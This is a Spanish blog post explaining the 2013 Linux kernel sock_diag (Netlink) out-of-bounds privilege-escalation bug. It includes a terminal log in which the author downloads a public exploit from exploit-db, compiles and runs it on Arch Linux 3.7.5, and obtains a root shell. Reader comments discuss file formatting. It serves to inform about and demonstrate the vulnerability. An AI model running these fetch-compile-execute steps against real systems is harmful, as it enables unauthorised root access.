Escalado de privilegios en Arch Linux 3.7 (sock_diag_handlers[])

Como seguro ya habréis leído, o si no ya os lo contamos nosotros XD, hace unos días salió a la luz un exploit que permite el escalado de privilegios en las versiones de kernel de Linux más recientes (3.3 a 3.8).

Este exploit se aprovecha de un fallo del subsistema Netlink del Kernel. Concretamente un usuario sin privilegios puede enviar un mensaje solicitando  SOCK_DIAG_BY_FAMILY con un valor mayor o igual que AF_MAX (el tamaño del array de sock_diag_handlers[]) que provoca un acceso fuera de límites (el out-of-bound tan típico de C) y por tanto permite por tanto la ejecución de código para el escalado de privilegios (obtención de root).

El bug se venía conociendo en secreto desde mediados de 2012 y al parecer alguien lo hizo público por error en Pastebin. También han salido ya parches para solucionarlo pero, ¿a qué no te crees que si quiera de la mitad de los sistemas vulnerables sean actualizados en los próximos meses? ¡Bingo!

Además, ayer también se publicó en exploit-db un sencillo exploit para Archlinux x86-64 3.3.x-3.7.x, justamente la distribución que vengo usando para la Raspberry Pi, así que ¡vamos a probarlo!: 

arch@archiso ~ % whoami
arch
arch@archiso ~ % uname -a
Linux archiso 3.7.5-1-ARCH #1 SMP PREEMPT Mon Jan 28 10:03:32 CET 2013 x86_64 GNU/Linux

arch@archiso ~ % wget www.exploit-db.com/download/24555
--2013-02-28 10:56:46--  http://www.exploit-db.com/download/24555
Resolving www.exploit-db.com (www.exploit-db.com)... 23.23.129.3, 23.23.150.193
Connecting to www.exploit-db.com (www.exploit-db.com)|23.23.129.3|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/24555/ [following]
--2013-02-28 10:56:49--  http://www.exploit-db.com/download/24555/
Reusing existing connection to www.exploit-db.com:80.
HTTP request sent, awaiting response... 200 OK
Length: 1696 (1.7K) [application/txt]
Saving to: â24555â

100%[===================================================================================================================>] 1,696       --.-K/s   in 0s

2013-02-28 10:56:49 (61.0 MB/s) - â24555â saved [1696/1696]

arch@archiso ~ % cat 24555 | col -b > 24555.c && rm 24555

arch@archiso ~ % gcc 24555.c -o exploit
24555.c: In function âmainâ:
24555.c:55:3: warning: incompatible implicit declaration of built-in function âmemcpyâ [enabled by default]
24555.c:55:3: warning: passing argument 1 of âmemcpyâ makes pointer from integer without a cast [enabled by default]
24555.c:55:3: note: expected âvoid *â but argument is of type âintâ
24555.c:59:10: warning: incompatible implicit declaration of built-in function âexeclâ [enabled by default]

arch@archiso ~ % ls
24555.c  exploit*


arch@archiso ~ % ./exploit
[root@archiso ~]# whoami
root

Fuentes: 
Linux Kernel Exploit afecta a versiones 3.3 a 3.8
Privilege Escalation Kernel Exploit

3 comentarios :

  1. Cuando bajo el url, el archivo ya es un .c , así que lo compile directo . EL " col -b > ...." lo que hace es poner en blanco el archivo

    Al ejecutarlo, queda como si hubiera abierto otro bash, lo denoté cuando hago env y veo el shlvl=2

    ResponderEliminar
  2. en mi caso el "col -b.." era porque se lo descargó en formato dos y para eliminar los caracteres ^M...

    Saludos,

    ResponderEliminar